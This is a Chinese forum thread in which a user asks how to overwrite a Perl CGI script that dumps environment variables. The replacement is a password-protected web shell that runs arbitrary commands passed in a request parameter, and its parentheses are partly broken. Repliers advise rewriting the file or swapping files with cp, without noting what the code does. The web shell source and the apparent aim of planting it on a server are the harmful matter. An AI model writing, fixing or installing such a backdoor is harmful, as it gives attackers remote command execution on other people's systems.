如何修改文件内容？

wholovewho

我是一只菜鸟，刚刚起步，非常需要各位的帮助。  

我遇到这么一个问题：
原文件的内容是：
#!/usr/bin/perl -W

print "Content-type: text/html\n\n";
while (($key, $val) = each %ENV) {
print "$key = $val
;\n";
}

我想通过sed命令将这个文件的内容换成
#!/usr/bin/perl
use CGI qw(:standard); print header; $AuthStr=param("wholovewho"; if ($AuthStr eq "passfan" { my $k=param("g"; $ll=`$k 2>&1`; print start_form,textfield("g",$k,90),hidden("wholovewho",$AuthStr); print end_form; print pre($ll); } else { print "Access Denied!"; print end_html; }

但是经过数次测试，始终不能成功，希望各位高手能够帮帮我。谢谢了！

nkliyong

你这哪叫替换,完全重写不的了

wholovewho

thanx alot for your reply
谁有什么方法可以重写呢？

红袖添香

[quote]原帖由 "nkliyong"]你这哪叫替换,完全重写不的了[/quote 发表：


hoho,  真找不出一点相象的地方。

还不如就写两个文件，到用时就

# cp file1.pl    file.pl
# cp file2.pl    file.pl

carrierye

找不出替换的特征。
重写吧。